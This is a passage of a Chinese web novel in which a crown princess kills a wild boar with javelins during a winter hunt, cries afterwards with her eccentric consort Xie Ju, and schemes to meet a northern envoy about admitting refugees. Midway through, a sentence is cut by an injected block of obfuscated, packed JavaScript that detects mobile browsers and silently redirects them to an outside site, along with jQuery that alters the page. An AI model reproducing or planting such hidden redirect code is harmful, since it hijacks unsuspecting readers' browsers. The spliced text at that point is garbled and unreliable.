盛尧很是发愁,左右环视,既不好伤了谢琚的爱马,也不好叫郑小丸。毕竟事前说好,让她进林苑之后,就带着内卫们逐个寻找较为薄弱的地方。 她回头看看,此时跟上护卫皇太女的,是东宫卫率和屯骑营的具装重骑。 “殿下!当心!” 前方地势变得崎岖,灌木丛生,古树参天。光线在这里变得昏暗,连喧嚣的鼓声似乎都被这深山老林吞噬下去。 盛尧也想当心。骑士卫率们辗转不灵,被林木阻隔,落下了老远。 寻常战马,到了这种山地林间,往往会因视线受阻或脚下打滑而惊慌失措。 可这匹白马,却像是回了老家一般。明明是北地的高大马种,却能敏锐地避开脚下的树根和陷坑。每一步都踏得极实,甚至懂得在陡坡前蓄力,在灌木中低头。 盛尧在马上试图保持平衡。啊。太怪了。世上怎么会有人这样训马。 陡然间白马急停,前蹄高高扬起,发出警示的长嘶。她猝不及防,险些被甩下马背,赶紧拽住鬃毛。 一阵粗重浑浊的喷气声从灌木丛后传来。 灌木摇晃不止,积雪扑落,一头体型硕大的野猪,哼哧着钻出阴影。 这畜生浑身鬃毛竖立,獠牙外翻,嘴角挂着白沫,显然是被惊着了,正是发狂的时候。 通红的小眼睛盯着马上的盛尧。野猪前蹄刨土,嚎叫一声,低头便撞。 30. 放声大哭起来 盛尧的第一反应是去摸弓。 然后想起不对。 拇指被勒得血肉模糊,刚触到弦就疼得发抖。 白马向侧边闪躲,盛尧顺势拔出佩剑。 尚方监特制的仪剑,剑身刻有龙纹,锋利无匹。 她握住剑柄,心里凉了半截。 储君车服,剑长三尺。可是在马上!一寸短,一寸险,这除非交出重心,俯身搏命。 野猪发狂般冲到跟前,獠牙直直朝着马腹挑去。 “畜生!” 眼看就要挑破马腹,盛尧只能挥剑下斩。 一剑劈在空处,削断了野猪背上几根鬃毛。 完了。她想。 然而这匹被谢琚喂得溜光水滑的白马,显然对不起它俗气的名字。 来福完全不曾受惊后退,一声暴烈昂扬的嘶鸣,前蹄拔地高抬,人立而起。 盛尧被甩得下滑,赶快搂住马脖子。 嘭! 剧烈的震荡,白马钉铁的双蹄踏上野猪背脊。 数百斤重的野兽,被这一踏之力踩得趴伏在地,发出一声惨痛的嚎叫。白马借势跳起,后蹄又是一记狠辣的蹬踹,正中野猪头颅。 盛尧在马背上颠得七荤八素,多亏骑术不错,此时紧紧抱住马颈,脑浆子都快摇匀了。 好凶的马! 养的究竟都是些什么怪物! 这是乱战之中,骑兵践踏步卒的战法,只有死人堆里滚过的战马,才懂得如何用蹄铁去踩碎敌人的骨头。 野猪被踢得在雪地上翻滚出丈许,满嘴是血,晃晃悠悠爬起来,一双充血的小眼睛盯着白马,鼻孔里喷着白气,正要蓄力再冲。 后方的卫率屯骑终于赶到。 “护驾!护驾!” 卫率们大惊失色,纷纷弯弓搭箭。 嗖嗖嗖——! 数十支羽箭射来,却因为林木遮挡,大多钉在树干上,好在成功地阻了它的冲势。 卫率吓得魂飞魄散,一溜烟的再喊放箭。 “别放箭!”射声军候大吼,“殿下还在那!” 盛尧被困在当中,白马与重新爬起来的野猪对峙。乱箭齐发,谁万一伤了储君,那是诛九族的罪过! 这老林子实在太密。古树盘根错节,灌木丛生,地上又全是积雪与腐叶。 屯骑皆是具装重骑,连人带马披着几十斤重的铁甲,狭窄林间简直寸步难行,稍微一动便被树枝挂住甲胄,挤作一团。 “下马!快下马围杀!”屯骑校尉急得嗓子都劈了。 几个郎官慌忙翻身下马,挺起长戟就往里冲。林地下还有许多雪坑,这些穿着犀面重甲的贵族子弟,没跑两步,便深一脚浅一脚地陷进雪窝子里,踉踉跄跄。 “犬!放犬!” 虞人手忙脚乱地松开锁链,数条凶猛的细犬狂吠着扑了上去,死死咬住野猪的后腿和耳朵。 一时混乱不堪。野猪仍在冲突,拖着猎犬疯狂甩动。一条猎犬甩飞出去,肚腹戳破,内脏洒了满地,场面更加血腥。 盛尧握着没用的长剑,只觉得眼前全是翻飞的血肉和獠牙。白马虽然神骏,但渐渐焦躁起来,在这小片地方左右腾挪,她拽着辔头,也颠得几乎要把隔夜饭都吐出来。 就在这时,破空声自耳后响起。 笃! 一支短矛扎进野猪的左肩,深深没入肉中。 野猪惨嚎一声,身形一偏。 盛尧惊慌回头。 见谢琚策着那匹青色骢马,从乱军丛中挤了出来。 他摘下白狐裘,只穿着中庶子的黑色箭袖,腰间束着蹀躞带,带上挂着几支投矛。 手里还提着一支,正放在手里掂量。 “阿摇,让开些。” 青年挽着辔头,神色冷漠,沉肩斜腰。 又是一道黑光。 第二支投矛扎在野猪的后腿,虽然没有致命,却让那畜生彻底丧失了冲撞的力气,只能在原地打转,对着周围的猎犬哼哧哼哧地喘粗气。 谢琚直起身,策马到众人面前,白马来福一见旧主,立时安分了许多,自行朝后退去,喷着响鼻就要去蹭骢马的脖子。 青年看过盛尧手里那柄寒光闪闪却毫无用处的佩剑,又瞥见她鲜血淋漓的右手,眉头皱了一皱。 周遭的卫率们这才更相射箭,费力围拢上来,长戟如林,将野猪逼在中央。 屯骑校尉抹着冷汗,正要挥手让手下结果了这畜生。 “慢着。” 谢琚忽然从马鞍一侧的革囊,抽出三支投矛,一把塞进盛尧的手里。 矛杆是硬木裹着铁皮,相当不轻。 “这……?”盛尧手里握着长剑,怀里又被塞了一把矛,手忙脚乱。 “殿下的猎物,”谢琚理所当然地道,“要殿下亲自结果。” 盛尧看着他,所有人都看着他。 “我,是皇后。”他垂着眼,万分温柔地补充。 ……是这个问题吗! “啊?”盛尧大怒,“我不会这个。” “哦。”谢琚点点头,“那现在是要等着被猪拱吗?” 盛尧被噎得没话说。 屯骑校尉和一众郎官面面相觑。这野猪还没死透呢,万一临死反扑怎么办? “我……我没练过这个。”盛尧迟疑地看着手里的投矛。军中投器,手戟短戈为多,这玩意儿少见,更别说爱惜风度的公卿子弟了。 ……全不雅致,或者被游侠边民所用,但根本不在太子的六艺教习之列。 “没关系。”谢琚指着那头被长戟逼得动弹不得的野猪,“以前在宫里,玩过‘投壶’吗?” 投壶。宴饮时的游戏,把箭矢投进酒壶里。 “玩……玩过。” “一样。”谢琚神色平静,“大号的酒壶。瞄准,扔过去。” 盛尧看着那头还在淌血、眼中凶光毕露的“酒壶”,这也太不一样了! “你们为什么还愣着?”谢琚忽然转头,“等着它缓过气来吗?围住它!失令者,斩!” 人人都忘了他还是太子中庶子。屯骑校尉突然被这位以疯傻著称的四公子斥责,登时一惊,左右大吼:“围紧了!把头给我摁住!” 郎官们七手八脚,用戟杆卡住野猪的脖颈。 “阿摇。”声音又恢复了那种轻柔, 盛尧咬着牙,“我试试。” 手还在抖,疼,也力竭。 投壶。对,就是投壶。别苑无聊的时日,她没少玩过那游戏。 不用手指。她屏住呼吸,举起手臂,瞄准野猪的脖子。 嘿! 投矛飞出,却力道不足,加上马背晃动,偏得离谱,擦着猪耳朵飞过去,当的一声掉在地上。 周围一片沉默。 “壶口太小。”谢琚面不改色地评价,“再来。” 盛尧脸红得快滴血,咬牙抓起第二支。 这一次没有急着出手,深吸气,直到肺腑里的浊气排空。 不能再丢人了。 她用力挥臂。 噗! 这一次扎中了,但扎在野猪坚硬的背皮上,只入肉两分,野猪疼得一挣,矛杆便晃悠悠地掉了下来。 还是不行。力气不够。 还剩最后一支。 谢琚控马靠近,伸出手,覆上她握矛的手背,稍微调整她抓握的角度。 “别用手腕,”青年在她侧边一指,“用腰。在马上,把自己当成马的一部分。” 体温透过冰冷的铁矛传过来。 “最后这支,”他低声说,“是‘倚竿’,算双倍筹。” “不中则已。” 盛尧怒从心头起,恶向胆边生。 “让开!”她对那些甲士喝道。 甲士一怔,只得遵令。野猪得了空隙,拖着猎犬就要再冲。 去他的不中则已! 想起了城外那些饿死的流民,想起了谢绰轻蔑的冷笑,想起了自己在别苑里拉不开弓的许多个清晨。 统统见鬼去吧! 我是储君! 她蓦地从马镫上站起,借助高度,双手举起第三根短矛。 野猪正仰头向她咆哮,露出柔软的咽喉。 “嘿!” 这一矛用尽了全身的力气,带着不甘的怒火。 阔地一声,从野猪的口中刺入。 野猪甚至没来得及嚎叫,庞大的身躯便就僵直,轰然倒地,四蹄抽搐。 盛尧还保持着下扎的姿势,站在马蹬上,满脸是血,黑犀甲上挂着肉屑,头上的武弁大冠歪在一边,长长的鹖羽折断了半截。 狼狈,凶狠,哪里像个储君的模样。 原本还在担心殿下安危的卫率们,个个目瞪口呆,看着马背上直立的少女。 片刻后,卫率们举起兵器,雷鸣般的欢呼: “大获!大获!” 盛尧喘着粗气,盯着不再动弹的庞然大物,直到确定它真的死了,才脱力般地跌坐回马鞍。 手还在抖,但心里却痛快得像是要飞起来。 谢琚松开缰绳,从袖中掏出一块干净的锦帕,递给她。 “擦擦。”他皱眉。 盛尧接过锦帕,却没擦脸,胡乱缠在右手上。她转过头,看着谢琚,眼睛亮晶晶的,像是燃着两团火。 “中了。”她拿手擦擦眼睛,热情地笑道,“你说得对,就是投壶。” 谢琚看着她狼狈又兴奋的样子,又看看她手上的血迹,似乎焦躁不安, “嗯。”他背转身,“中了。” 青年迟疑片刻,忽然也笑了一笑,伸手解下自己腰间的韘玉佩,轻轻抛上野猪尸体。 “彩头。”他说,“双倍。” * 一行人从山林里出来。 …… 手!格!野!彘! 这四个字在盛尧脑海里金光闪闪地绕圈,转眼就要被太史们贴在她脸上。 骑着白马,手里还紧紧攥着沾血的投矛,被东宫卫率和屯骑甲士们前呼后拥地护送出林。 脸上糊了猪血,被风一吹,绷得紧紧的,难受,腥得要命,还臊得很。 她偷偷侧过头,就着旁边金甲郎官锃亮的护心镜照一照。 嗯,鹖冠歪了,头发乱了,但这有什么要紧? 盛尧挺直腰杆,只觉得这一路的冬风都变得顺心。 等回了别苑,要先把郑小丸叫过来,还要把卢览也拽着。然后把那只断了的手戟——哦不对,是那支插进猪嘴里的投矛往桌上一拍! 野猪有房子那么大,獠牙比剑还长,喷出的气都能把人掀翻!而她,皇太女殿下,临危不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885347|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱,于千钧一发之际,大喝一声“呔”,从马背上腾空而起,手起矛落,咔嚓一下! 盛尧越想越美,已经在脑海里看到了郑小丸崇拜得两眼放光,和卢览尖叫“主君不可涉险”但实际上佩服得五体投地的样子。 连手上钻心的疼,此刻都被这巨大的、蓬松的快乐给填得严严实实。 屯骑校尉和那些平日里眼高于顶的世家郎官们,此刻轻慢的劲儿也没了。 换成混杂的敬畏,和“这姑奶奶不要命”的惊悚。几个虞人吃力地拖着死透了的大野猪跟在后面,所过之处,留下一道鲜亮的血痕。 哼。 盛尧得意地翘起剩下的鹖鸡尾巴毛。 什么仁君,什么不忍杀,那都是哄小孩子的。这满手的血泡和震得发麻的虎口,才是主君真正该握住的东西!自己现下哪怕是去太庙,都能指着祖宗的鼻子说一句:我比你们强多了! 正当她在心里甜甜的时候,前头旌旗分开。 一队越骑护着两人迎了上来。 左边那个独眼黑甲,煞气腾腾,是谢充;右边那个白马银铠,笑容温煦,是谢绰。 “殿下无恙!” 谢绰策马上前,看见被四名力士嘿哟嘿哟抬起来的巨大野猪,显而易见的惊讶,在马上拱手笑道: “方才听闻林中鼓噪,言殿下大获。臣等原本还不信,只当是虞人为了讨赏夸大其词。没想到殿下真是勇武过人,令臣等汗颜。” 谢充没说话,独眼盯着野猪口中贯穿而出的矛尖,又看看盛尧还在发抖的手,仍然沉默。 盛尧矜持地点点头,努力让自己看起来像个刚杀完猪的少年君王。 “运气好罢了。”她谦虚道,试图把肩膀溅上的血迹也侧给他们看,“全赖这匹马神骏。” 拍拍身下的白马。 这马儿大概是闻到了同类的气息,对着谢充那匹河曲黑马喷了个响鼻,又对着谢绰与它同花色的坐骑扬了扬头,很是瞧人家不起。 谢绰扫一眼这匹白马。 “是匹好马。”他意味深长,目光越过盛尧,看向落后一个马身的谢琚。 “也难怪季玉知道去哪找殿下。‘白魈’生长越地,惯会往深山老林里钻。” 盛尧抚摸马鬃的手,停顿。 ……什么? “白……什么?”她傻乎乎地问。 “白魈。”谢绰好心地解释,“山中独足鬼怪,以此为名,言其悍烈,捷如鬼魅。怎么,殿下不知?” 魈!鬼怪。 盛尧慢慢地,慢慢地回过头。 正仰头看着天上的流云,一脸“今天风真大我什么都没听见”的淡然表情。 来福。 盛尧磨磨后槽牙。把一匹名叫“白鬼”,能踢碎野猪脑壳的名驹,叫什么“来福”? 谢绰似乎很满意她这副吃瘪的表情,只是又不善地看过谢琚,拱手道:“既然殿下大获全胜,父亲已在中军备下贺酒,现下日头偏西,他日一并献获。还请殿下移步更衣,稍后升帐受贺。” “有劳君侯。” 盛尧按捺住心里的小火苗,端着架子点点头,一扯缰绳,“白……来福,咱们走!” 白马很给面子地咴儿了一声,大概是对这个名字也已经麻木了。 …… 回到青幄,已是黄昏。 盛尧先去中军大帐,受了公卿朝贺,又被太常卿老头数着“勇武类祖”的词儿狠狠夸了一通。等到都结束了,气势汹汹地就往自己的青幄里冲。 谢琚已经换下箭袖,重又穿上茜色宽袍,铃铛也重新挂了上去,见她回来,也不管旁边人怎么着,身形一弯,熟门熟路地跟着钻进了青幄。 “阿摇,饿不饿?” 这桃花似的青年似乎早就摸清楚了帷帐的陈设,拿出几块浇了蜜汁的热胡饼,又递给她一碗乳酥。 盛尧没接。也不卸甲,就这么杀气腾腾地对着他。 “马?” 谢琚眨眨眼,胡饼没送出去,就自己咬了一口:“……马?” “马!”盛尧仰着脸质问,“那马叫白魈!你说它叫来福!” “三哥胡说的。”谢琚耐心,“他就喜欢给东西起些奇奇怪怪的名字,他有学问。” 盛尧愤怒地盯着胡饼,又瞟一眼谢琚灯火映照的脸,睫毛低垂,嘴唇微微抿着。 “他那匹马叫‘追风’,俗气得很。一直眼红我的来福名字起得好,既喜庆又踏实。” ……踏实个鬼! 谁家踏实的马会看见野猪就冲上去踏两脚?! 那种“虽然我耍了你但我脑子不好你要体谅我”的无赖气息已经铺面而来了! 接下来就该是“好累”、“想睡觉”、“不想走”,然后就把所有的质问都糊弄过去。 但盛尧不是那个盛尧了,她是手格野彘,杀过猪的盛尧了。 看着谢琚水光潋滟、仿佛立时就要掉眼泪的眸子,脑子里突然灵光一炸。 我是傀儡!我是仁君!我是全天下最大的受气包!论惨,我才是祖宗! 先发制人。 在谢四公子刚刚准备叹出一口气,“娇养”还没说出口。摆出我也很无奈的姿态之前—— “哇——!” 盛尧把手里的剑一丢,蹲在厚厚的地毯上,毫无预兆地,放声大哭起来。 31. 将她死死按在怀里 她哭了。 谢琚手一抖, 谢四公子哪怕是面对几千流民、面对亲哥的弓箭、面对翼州使者的挑衅,都一等一的安闲自若。 开玩笑,这几年是怎么过的? 但此刻却非常罕见地,裂开了点儿缝隙。 按照心窍里那座还没修好的藏书阁里的藏卷,目前的对策,应该是这样的: 以柔克刚,避实击虚,所谓兼弱取乱之术。 关于“白魈”还是“来福”的质问,先茫然,再委屈,最后倒打一耙,表示自己哪里记得住那么多名字,最后虽然我不懂但是阿摇好凶我好怕。 凭借多年纯熟的经验,迅速把问题置换到傻子的思考方式上。不出三个回合,就能把这只满身杀气的小兔子给绕晕。 让她深刻反省自己的鲁莽,顺便借此机会给她立立规矩,以后少跟那个姓庾的来往。 哪怕她杀了猪回来,那也不过是一只杀气重了点儿的兔子罢了。 这才是身为幕后谋主——兼傻子皇后——该有的手段。 比翼州的野鸡强得多了,问题不大。 …… 问题确实不大,盛尧本来是想装哭来着。 既然谢琚每次装傻充愣这么好使,那我也可以!我是傀儡!我很难过!我被马骗了,我还差点被猪拱了,我哭一下怎么了! “只要我哭得够大声,他就没法糊弄我。” 打着这个主意,想着嚎两嗓子就把这事儿揭过去。可谁知道这一嚎开了头,事情就不对劲。 不对劲。 今日在马上命悬一线,杀猪时几乎脱力,还有疼。 是真的疼啊。尤其是手。 拉弓投矛的右手,虎口早就裂开,五个指头都磨得血肉模糊。 “疼死了……呜呜呜……疼死了……” 本来还是干嚎,嚎着嚎着,眼泪就自作主张地下来了。吧嗒吧嗒,混着脸上猪血和灰尘,冲出两道滑稽的沟壑。 当然,这血没叫人擦,为了表示自己勇武,朝贺时证明猪真是她杀的。 谢琚气笑了——或者是想笑,嘴角抽搐了两下,最后变成了一个扭曲的表情。 “好疼啊……”盛尧一抽一抽,“鲫鱼……呜……真的好疼……” 哭得真难看。 谢琚在心里冷漠地摇头。 这就能掩盖你这么多天,为了些流民涉险,还问道于翼州,搞出这种愚蠢又鲁莽的行径? 不可能。 脏死了。 他有洁癖。他最讨厌脏东西。 谢琚忍了又忍,终于迈入绝望。 冷静。这是策略。她在学你。她在用你的计策攻击你。 ……但是也太难看了。 不是这么用的,不是这么用的,至少哭的时候应该把自己关起来。 于是,这位名满都中、实际上脾气差得要命的谢四公子,只能僵硬地俯下身。 “阿摇……” 他伸出手,避开她脸上最大的几个泥点,擦擦她的脸。 “别哭了。” 盛尧闭着眼哭得正上头,感觉脸又被戳了一下,更加委屈,低头攮进他怀里。 “哇——!” 哭声更大了,顺手薅过袖子,眼泪血污都擦在衣服上。 谢琚:“……” 浑身僵硬,双手悬空,美玉琼琚的名公子仪态,正在发出尖锐的爆鸣。 眼泪,泥污,血迹。一身猪味。 扔出去。现在就把她扔出去。 叮铃。 “好了。” 身上忽然暖和,谢琚把下颌抵在她歪七扭八的鹖冠上,手臂收紧,将她死死地按在怀里——防止她再乱动。 “不哭了。” 青年拍着她的背,颈侧被鹖鸟毛挠得痒痒的: “猪已经死了。阿摇,很厉害,猪都打不过你。” 很是无奈,既不敢说太多,也不晓得她喜欢什么,只能试探着,柔和而含糊地说, “……开心点儿,有猪肉吃了。” …… 肉!吃的!流民! 有人,有帏宫,猎苑开了! 盛尧猛一抬头,鹖鸟毛啪地甩到谢琚脸上。 谢四公子冰冷地低头看了一眼。 茜色织金袍袖,沾了野猪的血,蹭了皇太女的眼泪。 很好。这只袖子已经死了。 盛尧吸溜一下鼻子。 哭声戛然而止,收放自如得令人咋舌。 谢琚漠然地维持着抱着她的姿势,僵硬得像块风干的木头。盛尧左右寻视,折断的鹖鸟毛在他脸上戳来戳去。 恩将仇报。 就在谢琚认真思考是现在把她扔出去,还是等她不太疼了再扔出去的时候, 少女从他怀里弹出来,两只挂着血和眼泪的手胡乱望脸上抹了一把,将惨状抹得更加均匀。 “郑小丸!郑小丸!” 盛尧也不管那鹖冠还在脑袋边上摇摇欲坠,“阿览呢!怎么还不来!庾澈,找他了没有?” 呵。 兔子果然是没有良心的。 她就不问问这几天是谁在林子里受冻?不问问是谁给她找的马?甚至不问问刚才那个怀抱是不是有点太暖和了? 谢四公子缓慢地站起身, 叮铃。 铜铃发出一声压抑的闷响。 青年走到旁边,寻了个干净的坐榻,从容地抄起一柄剪刀,十分悠闲地坐下,冷眼瞧着盛尧转着圈的拉磨。 “中庶子!”她突然转头,“你能不能出去看看?” 谢琚抬起头,露出一个漂亮而冷淡的笑。 “不能。” “为什么?” “累。”青年美丽地往软榻上一伏,“困了。” 盛尧气结。但也没工夫跟他掰扯,这里是青幄,四周全是谢巡的亲兵,哪怕是稍微有点风吹草动,都有可能传到那个老狐狸耳朵里。 “郑都尉!”她只能压低声音冲着帐帘子喊,“小丸?” 没人应。 “阿览?” 还是没人应。 完了完了,盛尧心想,莫不是被拦在外围了?这里戒备森严,不比别苑,要是被当成奸细抓起来…… 正当她准备不管不顾冲出去捞人的时候,帐帘被人悄无声息地掀开一条缝。 一个巨大的人形粽子,鬼鬼祟祟地滚了进来。 盛尧吓了一跳,手都按到剑柄上了。定睛一看,那人穿着一身宽大的侍女服饰。 头上戴着帷帽,脸上套着幂离,身上还裹着并不合身的臃肿斗篷,整个人捂得那是密不透风,连眼睛都没露出来。 “……阿览?”盛尧迟疑地看着这个粽子。 粽子僵了一下,艰难地把面纱撩起角,露出一只警惕的眼睛,左右看看,见只有盛尧和谢琚,长出一口气。 “殿下……” “你怎么了?”盛尧大惊失色,想起今天的流矢,冲上去上下其手,“怎么裹成这样?受伤了?是不是谁打你了?怎么比我伤得还重?” “没有,没人打我。” 卢览把斗篷扒拉开,露出里面都汗湿的头发,“我没事。” “没事你穿成这样?不知道的还以为你是来行刺的!”盛尧赶紧帮她解带子,“这大营里头巡查多严啊,你这身打扮没被当场捅成刺猬真是命大。” “哪能呢,我有分寸。”卢览终于把帷帽摘下来,顺手抓着 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卢览沉默一会儿。 “不知道。” “啊?”盛尧着急,“怎么不知道?他不是坐在客席吗?刚才还喝酒呢!” 卢览厉声打断,“殿下,您看看我现在这个样子。连头都不敢抬,只能顺着帐幔溜进来。哪敢往客席那种万众瞩目的地方凑?不怕被人说勾结北方?” “而且,”卢览愤愤,“翼州那位……行踪也太诡秘了些。刚才乱哄哄的,我恍惚听见那边在拼酒,后来就不见人了。我哪儿方便去找他?” 盛尧急得又打了个圈, “就快要祭祀献获了,到时候若是没通好气……” 越想越慌,转头看向谢琚。 谢四公子正倚在榻上,拿剪子剪掉袖口上洗不掉的污渍。 “鲫鱼!”盛尧扑过去,“你刚才在马上,看见子湛先生去哪儿了吗?” 剪刀咔嚓一声。 “没。”谢琚安闲地微笑,“凤凰嘛,飞走了不是很正常?”野鸡。 “……没有人了吗?”盛尧站起身,绝望地环顾四周,“咱们这里,就没有一个……能自由出入燕饮,找北方使者不会被人怀疑的人了吗?” 卢览看看盛尧,又瞟眼盛尧身后。 盛尧顺着她的目光,一点点地,把头转过去。 茜色衣袍,白狐裘,名士风流,谢家公子,中都麒麟。 可以在这种场合随意走动,没人会怀疑一个疯子为什么要乱跑。 谢家的人不会拦他,他是自家公子。 别人也不会起疑,谢氏四郎刚被撰文痛骂了一场,打听庾澈行踪,绝不能叫私相勾结,最多只能叫私自寻仇。 盛尧眼睛亮了。 谢琚手指一顿。 就看见两张脸凑在自己面前。 一张挂着谄媚的笑,一张带着算计的光。 谢琚垂下眼,微笑刚展开一半,正准备毫不留情地吐出“做梦”二字。 “我就知道,” 盛尧开开心心地拽着他半截袖子里的手,试图把他从榻上拉起来,扭头对卢览喊,“阴阳合德,不是白合的!” 阴阳合德。 谢琚一怔。 韘玉佩从她衣间滑了出来,悠悠地自眼前垂落。 莹润欲滴的青玉,系着通红的穗子。多年久佩的旧物,刚才正亲昵地贴着她的腰身。 磕在了他的膝侧。 咚。 不知是悬着的玉佩,还是别的什么地方,也空空麻麻地荡了一下。 32. 太不要脸了 盛尧猫着腰,顺着几乎是硬扯出来的缝隙,勾头钻进了旁边素色的小次。 刚一进来,忍不住在心里啧啧称奇。 没别的意思,太不要脸了。 按照随便哪本兵书的规矩,中军大帐周遭乃是禁地,唯有主帅与亲卫可居。皇太女代天子狩,青幄便是行宫,周围当依设“连城”,或许还得装模做样地挖点儿“从沟”。 而中庶子也就是个六百石的属官,营帐应当远远地排在“外辕”边上,和那一堆洗马、舍人们挤在一块吃风。 可谢琚这顶帐篷——按制称为“次”,本该是臣下休憩之所,如今竟然不要脸地把帐脚压上了青幄的云雷纹边角。两座帐篷中间只隔着一道不算太厚的锦幔,风一吹,那幔帐还要暧昧不清地互相缠绕一下。 这算什么? 盛尧蹲在厚实的茵席上,十分痛心疾首地想:这就是史书上写的“佞幸”!这就是那要亡国的征兆啊! 到时候,手格野彘下边一句,大约得是这么写的, “……太女荒淫,昵近便幸,军中置榻侧畔,不修帷薄之防。” 哪怕是再受宠的妃嫔,随驾冬狩时也得守着规矩住在后帐。唯有那种把君主迷得五迷三道、从此君王不早朝的祸水,才能把床铺直接安在主君眼皮子底下! 太傅要是看见这场面,估计能当场把《春秋》给咽下去。 “殿下,”太傅孙女也跟着滚了进来,还是粽子打扮,只露出一双眼睛,“您在嘀咕什么?” “没。”盛尧正襟危坐,看着对面案几后的谢琚,“我在想……这帐子搭得真是颇有古风。” 董贤之风,弥子瑕之风。 只是帐内陈设简单得过分,卧榻,凭几,一点安息香。 谢琚没看她们。 还是轻闲地侧倚凭几,靠着酒壶酒盏,自斟自饮,茜色的衣袖挽起些,露出一截手腕。 目光游移,盛尧顺着他的视线低头。 韘玉佩。 这是刚才杀猪之后,他亲手解下来,说是“彩头”给她的。因为没地方放,就顺手系在了自己的革带上。 “看什么?”盛尧有点发毛,伸手捂了一下玉佩,“你想要回去?” “给了阿摇。”谢琚缓慢犹疑地开口,声音有些哑,“……就是阿摇的。” “所以呢?” “我不去。”谢琚终于回过神,将目光从那玉佩上撕下来,转头便是冷淡,“为什么要我去请他?” “因为只有你能去!”盛尧理直气壮,“我若是去,那就是私会外臣。” “那我是什么?”谢琚温柔地微笑。 “寻仇!”盛尧大声说,“你怀恨在心,理所应当,无懈可击!” 旁边卢览痛苦地捂住了脸。裹在粽子斗篷里,发出一声类似窒息的呻吟。 谢琚定定地看着她,看了好一会儿。 “好。” 他忽然站起身,从容地整理衣襟,顺手抄起案上酒壶。 “怀恨在心。”青年重复了这几个字,轻飘飘地扫了盛尧一眼,转身出了帐次,“很好。” 盛尧掀开帘子,就见他叮叮当当地去了,目送这位“佞幸”的背影消失在帏宫的软廊尽头,心里忽然有点发毛。 …… 不到两炷香的功夫。 青幄的后帐帘子被掀开。 一阵冷风灌入,紧接着,这桃花似的青年悠然提着酒壶,安闲轻松地回来了。脸上带着十分圆满的舒畅神情。 “人呢?”盛尧伸着脖子往后看。 “更衣。”谢琚把空酒壶往案上一放,心情极佳地坐下,“换衣服去了。” “什么?”盛尧不明白。 “来了!”卢览在帐篷头里喊,并没有通报,帘幕微动,一人闪身而入。 “让开些。” 一位身着深赭红色宽袍的青年躬身走了进来。 庾澈换了身衣裳,名贵,仍有风度,头发也重新束过,但脸上泛着怪异的红晕,像是被热气熏的,又像是被气的。鬓角的发丝都还有些微湿,贴在脸颊侧面。 手里摇着一把羽扇——大冬天的摇扇子,显然是为了散去身上的热气。 他刚进帐,颊侧小涡一展,就向盛尧平静地一笑。 “殿下这里的待客之道,真是别具新意。今日算是领教了。” 盛尧一脸茫然:“先生这是……” “更衣。”庾澈咬牙吐出这两个字,小涡忽然变深,手中的羽扇摇得更急了点儿, “殿下中宫盛情,怕在下饮酒不够尽兴,特意‘失手’,用滚烫的热酒给在下‘沐浴’了一番。” 盛尧:“……” 目瞪口呆地看向伏在榻边上的谢琚。 直接往人家身上浇酒?还是滚烫的?逼人家去更衣,然后顺理成章地把他绑……不是,请到这守卫森严的内帐里来? 虽然损,却有效。帐次明面上就是更衣所用,又是谢家自家兄弟的营盘,谁会起疑? “咳。”盛尧心虚地咳嗽一声,“中庶子他……有时候手不太稳。先生海涵,海涵。” “手不稳?”庾澈冷笑,径自在客席坐下,“殿下的一整壶酒,可是半滴都没洒,全浇在澈的身上了。这准头,养由基再世,李将军复生。” 内帐里,谢琚似乎对这指控充耳不闻,连声响都没出一下。 卢览从后面溜进来,当先把周围的侍从全部遣了出去,教人守在门口。 “好了。”庾澈喝了口茶,脸上怒气收敛。 “殿下让谢四用这种法子把我弄来,想必不是为了看庾某湿身的笑话。” 他放下茶盏,目光直视盛尧,悄声道, “我看到了。殿下的那一箭,射得很不错。” 盛尧被夸得有点不好意思,摆摆手:“运气,运气。” “但光有运气是不够的。”庾澈身子前倾,“殿下想要我做那股东风,把城外的几千流民都吹进这猎苑里来。对吗?” “是。”盛尧点头,神色也严肃起来, “不来。”庾澈与她说,“他们不来。” “您觉得,只要这猎苑大门一开,那些流民就会欢天喜地地涌进来吗?” 盛尧一愣:“难道不是?总比在城外冻饿而死强吧?” “殿下被刀剑指过吗?”他问。 盛尧想起太庙里的刀光,还有谢绰那支箭。 “自然是被指过的。” “不是那种。”庾澈摇头,“是被兵士和官吏,穿着甲胄、拿着长戟的人。” 他站起身,在这小帐里踱了两步, ”见过亲人在身边被乱兵砍成两截吗?妻子儿女被拖走,自己只能跪在泥地里磕头?不死于盗匪,死于‘驱赶’。您遣人去喊一嗓子‘里面有施粥’,他们就会信?” “我……” “换作是殿下您,在一个饿殍遍野的逃荒路上,忽然看见前面全是杀气腾腾的官兵,有人跟您说‘进去吧,里面是皇帝的园子,那是好地方’。” 庾澈俯身向前,盯着盛尧的眼睛: “殿下,您是会兴高采烈地冲进去,还是会吓得掉头就跑?” 盛尧僵住了。 她确实没想到这一层。只想着自己开了门,人就能进来。却不晓得,在那些饱受欺凌的流民眼里,这扇辉煌的朱门背后,大多藏着比饥饿更可怕的屠刀。 “他们害怕。”庾澈叹气, “如惊弓之鸟,稍有风吹草动就会炸营。您想要把这些人弄进猎苑,不仅需要粮食,更需要时间。需要有人渗透,安抚,一个个地建立信任。” 信任。她没有这种东西。盛尧想起那日在城郭外,眼中混杂着的渴望与恐惧。他们抢钱的时候疯狂,可看见马蹄扬起时,又十分畏怖。 “梧山凤凰”……不是生来就在梧山的。 她忆起卢览说的话, ——“庾氏一路往北逃难……遭了贼寇……败落太容易了。” 眼前这个总是一副高高在上、智珠在握模样的世家公子,是不是也曾躲在长辈的身后,看着明晃晃的刀剑指向自己的亲人? 也曾在那样的泥沼里,绝望地仰望过根本不存在的希冀么?或许某个寒冷的冬夜,无论怎么走,都找不到一扇愿意为他们打开的城门? 盛尧看着庾澈,喉咙有些发紧。 四百余口的望族北迁,只剩下一支隐居在山里。 “庾先生见过的。”她有点瑟缩。 盛尧的声音低下去。垂下头,看着自己虎口处渗血的纱布。 “是我……想得太简单了。” 